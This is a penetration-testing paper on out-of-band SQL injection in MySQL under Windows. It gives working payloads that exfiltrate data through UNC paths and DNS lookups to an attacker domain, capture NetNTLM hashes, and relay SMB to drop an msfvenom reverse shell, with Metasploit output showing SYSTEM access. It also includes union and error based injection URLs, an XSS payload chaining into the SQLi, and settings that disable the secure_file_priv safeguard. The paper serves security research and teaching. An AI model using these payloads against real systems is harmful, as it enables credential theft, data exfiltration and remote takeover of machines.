MySQL Out-of-Band Hacking

Osanda Malith Jayathissa
(@OsandaMalith)
Table of Contents
Overview .......................................................................................................................... 3
What is Out-of-Band Injection? ...................................................................................... 3
Limitations in MySQL ...................................................................................................... 3
Workaround .................................................................................................................... 4
Extracting Data to a File System ................................................................................... 5
Extracting Data using DNS Resolutions ....................................................................... 5
Stealing NetNTLM Hashes .............................................................................................. 6
  Video Demonstration .................................................................................................... 7
SMB Relay Attacks .......................................................................................................... 8
  Video Demonstration .................................................................................................... 10
Union and Error Based Injections ................................................................................ 10
XSS + SQLi ...................................................................................................................... 11
Conclusion ...................................................................................................................... 11
Acknowledgements ........................................................................................................ 11
About Me ......................................................................................................................... 11
References ...................................................................................................................... 11
Overview
Out-of-band injections are very well researched when it comes to MSSQL and Oracle. But in MySQL I noticed that this topic is not well researched. I thought of researching about this topic based on my experiences in SQL injections. For this purpose we can take advantage of functions such as load_file() and select ... into outfile/dumpfile. Apart from that we can also steal NetNTLM hashes and perform SMB relay attacks. All this is possible only in MySQL under Windows.

What is Out-of-Band Injection?
These attacks involve in alternative channels to extract data from the server. It might be HTTP(S) requests, DNS resolutions, file systems, E-mails, etc depending on the functionality of the back-end technology.

Limitations in MySQL
In MySQL there exists a global system variable known as ‘secure_file_priv’. This variable is used to limit the effect of data import and export operations, such as those performed by the LOAD DATA and SELECT ... INTO OUTFILE statements and the LOAD_FILE() function.

- If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist, the server will not create it.
- If the variable is empty it has no effect, thus insecure configuration.
- If set to NULL, the server disables import and export operations. This value is permitted as of MySQL 5.5.53

Before MySQL 5.5.53 this variable is empty by default, hence allowing us to use these functions. But in the versions after 5.5.53 the value ‘NULL’ will disable these functions.

To check the value of this variable you can use any of these methods. The ‘secure_file_priv’ is a global variable and it’s a read only variable, which means you cannot change this during runtime.

```sql
select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";
```
For example the default value in my MySQL 5.5.34 is empty, which means we can use these functions.

```
mysql> select @@version;
+----------+
| @@version |
| 5.5.34    |
+----------+
1 row in set (0.00 sec)

mysql> show variables like "secure_file_priv";
+----------------+-----------+
| Variable_name   | Value     |
| secure_file_priv| NULL      |
+----------------+-----------+
1 row in set (0.00 sec)
```

In MySQL 5.6.34 by default the value is NULL and this will disable import and export operations.

```
mysql> select @@version;
+----------+
| @@version |
| 5.6.34    |
+----------+
1 row in set (0.00 sec)

mysql> show variables like "secure_file_priv";
+----------------+-----------+
| Variable_name   | Value     |
| secure_file_priv| NULL      |
+----------------+-----------+
1 row in set (0.00 sec)
```

**Workaround**

Here are few workarounds I came up with to overcome this issue in versions after **5.5.53**.

- Starting the mysqld process, giving “--secure-file-priv=“ parameter as empty.

```bash
mysqld.exe --secure-file-priv=
```

- Adding an entry in the “my.ini” configuration file.

```ini
secure-file-priv=
```

To find out the order the default options are loaded and paths to the configuration files type this.

```bash
mysqld.exe --help --verbose
```
- Pointing your configuration file to mysqld.exe

You can create a new file as ‘myfile.ini’ and give this file as the default configuration for MySQL.

```
mysqld.exe --defaults-file=myfile.ini
```

The content in your configuration.

```
[mysqld]
secure-file-priv=
```

**Extracting Data to a File System**

In MySQL we can use a shared file system as an alternative channel to extract data.

```
select @version into outfile '\\192.168.0.100\temp\out.txt';
select @version into dumpfile '\\192.168.0.100\temp\out.txt';
select @version into outfile '//192.168.0.100/temp/out.txt';
select @version into dumpfile '//192.168.0.100/temp/out.txt';
```

Note that if quotes are filtered you cannot use hex conversions or any other format for the file path.

**Extracting Data using DNS Resolutions**

Another channel that can be used in MySQL is DNS resolutions.

```
select load_file(concat('\\',version(),'.hacker.site\a.txt'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));
```

You can clearly see the version **5.6.34** is sent along with the DNS query.
When MySQL tries to resolve the DNS query we can log the DNS requests and extract data successfully from the ‘hacker.site’ DNS server. Data is logged as a subdomain.

When extracting data note that you are dealing with DNS requests and special characters cannot be used. Make use of the MySQL string functions such as mid, substr, replace, etc to overcome such situations.

**Stealing NetNTLM Hashes**

As you have seen before that ‘load_file’ and ‘into outfile/dumpfile’ works fine with UNC paths under Windows, this can be used to resolve a non-existing path and when DNS fails the request will be sent as an LLMNR, NetBIOS-NS query. By poisoning the LLMNR protocol we can capture the NTLMv2 hashes.
Tools that we can use for this attack.

- **Responder**
- **llmnr_response**
- **MiTMf**

I will be using Responder for this example. I’m running MySQL 5.6.34 on Windows 8 64-bit.

```
responder -I eth0 -rv
```

Next we can use ‘load_file’, ‘into outfile/dumpfile’ or ‘load data infile’ to resolve an invalid UNC path.

```
select load_file('\\\\error\\abc');
select load_file(0x5c5c5c6572726f725c5c616263);

select 'osanda' into dumpfile '\\\\error\\abc';
select 'osanda' into outfile '\\\\error\\abc';

load data infile '\\\\error\\abc' into table database.table_name;
```

**Video Demonstration**

- [https://youtu.be/SCpP17fIdHA](https://youtu.be/SCpP17fIdHA)
SMB Relay Attacks

With the usage of functions such as ‘load_file’, ‘into outfile/dumpfile’ and ‘load data infile’ we are able to access UNC paths under Windows. We can abuse this feature in performing SMB relay attacks and simply pop a shell in the target machine. Here’s a visual demonstration of the SMB relay attack.

This is my lab setup configuration for this experiment.

- MySQL Server – Windows 8: 192.168.0.100
- Attacker – Kali: 192.168.0.101
- Victim – Windows 7: 192.168.0.103 (Running as Admin)

Tools used

- smbrelayx
- Metasploit

First of all I generate a reverse shell on my Kali box and run ‘multi/handler’ module on Metasploit.

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=443 -f exe > reverse_shell.exe
```

Next I run the ‘smbrelayx’ tool specifying the victim IP address and my generated reverse shell and wait for incoming connections.

```
smbrelayx.py -h 192.168.0.103 -e ./reverse_shell.exe
```

Once we execute any of these statements from the MySQL server we get our reverse shell from the victim box.

```
select load_file('\\192.168.0.101\aa');
select load_file(0x5c5c5c5c3139322e3136382e302e3130315c5c6161);
select 'osanda' into dumpfile '\\192.168.0.101\aa';
select 'osanda' into outfile '\\192.168.0.101\aa';
load data infile '\\192.168.0.101\aa' into table database.table_name;
```
These are the options in Metasploit from the module ‘multi/handler’.

```
msf exploit(handler) > show options
Module options (exploit/multi/handler):

Name    Current Setting  Required  Description
--------  -----------------  ----------  ---------------------------------------------

Payload options (windows/meterpreter/reverse_tcp):

Name    Current Setting  Required  Description
--------  -----------------  ----------  ---------------------------------------------
EXITFUNC process  yes       Exit technique (Accepted: ';', seh, thread, process, none)
LHOST    192.168.0.101  yes       The listen address
LPORT    443            yes       The listen port

Exploit target:

Id Name
-- -----   0 Wildcard Target
```

Once the MySQL Server sends a request to the Kali box ‘smbrelayx’ will perform the SMB relay attack and upload our reverse shell and execute it.
If the attack is successful we get our reverse shell from the Windows 7 box.

```plaintext
msf exploit(handler) > run
[*] Started reverse TCP handler on 192.168.0.101:443
[*] Starting the payload handler...
[*] Sending stage (957999 bytes) to 192.168.0.103
[*] Meterpreter session 4 opened (192.168.0.101:443 -> 192.168.0.103:49199) at 2017-01-16 03:54:13 -0500
```  
```plaintext
meterpreter >
[*] Session ID 4 (192.168.0.101:443 -> 192.168.0.103:49199) processing AutoRunScript 'migrate -f'
[*] Current server process: FTOBFCfg.exe [1884]
[*] Spawning notepad.exe process to migrate to
[*] Migrating to 4064
[*] Successfully migrated to process
```  
```plaintext
meterpreter > shell
Process 988 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32\whoami
whoami
nt authority\system
```  

**Video Demonstration**
- [https://youtu.be/hO9UDTiKVUA](https://youtu.be/hO9UDTiKVUA)

**Union and Error Based Injections**
The ‘load_file’ function can be applied with both union and error based injections. For example in a union based scenario we can use OOB injections like this.

```plaintext
http://192.168.0.100/?id=-1' + union + select + 1, load_file(concat(0x5c5c5c5c, version(), 0x2e6861636b65722e736974655c5c61e747874)), 3 -- -
```

We can simply use error based techniques such as the **BIGINT** overflow method or the **EXP** error based method.

```plaintext
http://192.168.0.100/?id=-1' or !(select*from(select
load_file(concat(0x5c5c5c5c, version(), 0x2e6861636b65722e736974655c5c61e747874)))x)-- -
```

```plaintext
http://192.168.0.100/?id=-1' or exp(-(select*from(select
load_file(concat(0x5c5c5c5c, version(), 0x2e6861636b65722e736974655c5c61e747874)))a))-- -
```

Instead of ‘or’ you can use ||, |, and, &&, &, >>, <<, ^, xor, <=, <, <=, >, >=, *, mul, /, div, -, +, %, mod.
**XSS + SQLi**

We can combine XSS attacks with MySQL and these might come handy in different scenarios in the penetration testing. We can perform both stealing of NetNTLM hashes and SMB relay attacks combining with XSS. If the XSS is persistent, each time the victim visits the page he will be infected.

Note that when dealing with JavaScript you are under the Same Origin Policy (SOP).

```html
<svg onload=fetch("http://192.168.0.100/?id=-1'+union+select+1,load_file(0x5c5c5c6572726f725c5c6161),3-- -")>
```

You can also use MySQL to echo out HTML, thus echoing out an invalid UNC path to steal NetNTLM hashes or directly perform an SMB relay attack by using the IP of the attacker. These UNC paths get resolved only in IE web browsers.

```html
http://192.168.0.100/?id=-1' union select 1,'<img src="\\\error\\aa">'%23
```

**Conclusion**

These discussed methods can be used when all in-band methods fail due to the vectors being disabled, limited or filtered and when the only option is to use inference techniques. The ‘select ... into outfile/dumpfile’ can be used with union based injections. The ‘load_file’ method can be used with both union based injections and error based injections. When it comes to infrastructure hacking these methods might be very useful. Exploitation of a vulnerability is not always straight forward. You have to be very creative in using these techniques in real world scenarios.

**Acknowledgements**

Special thanks to @m3g9tr0n for his support with my research.

**About Me**

I’m a very young independent security researcher passionate in application security, penetration testing and reverse engineering. I got acknowledged by many organizations for disclosing vulnerabilities including Microsoft, Apple, Oracle, AT&T, Sony, etc. I’m a contributor to the SQL Injection Knowledge Base ([https://websec.ca/kb/sql_injection](https://websec.ca/kb/sql_injection)). Currently holds OSCP, eCRE, eWPTX, eCPPT, eWPT.

You can check other interesting things related to SQLi on [https://osandalith.com/tag/mysql/](https://osandalith.com/tag/mysql/)

**References**

- [https://dev.mysql.com/doc/refman/5.5/en/](https://dev.mysql.com/doc/refman/5.5/en/)
- [https://pentest.blog/what-is-llmnr-wpad-and-how-to-abuse-them-during-pentest/](https://pentest.blog/what-is-llmnr-wpad-and-how-to-abuse-them-during-pentest/)

By the time I’m publishing this paper, it was the day I received that happy news that I passed OSCP :), in my first attempt, 100% lab and all exam machines rooted!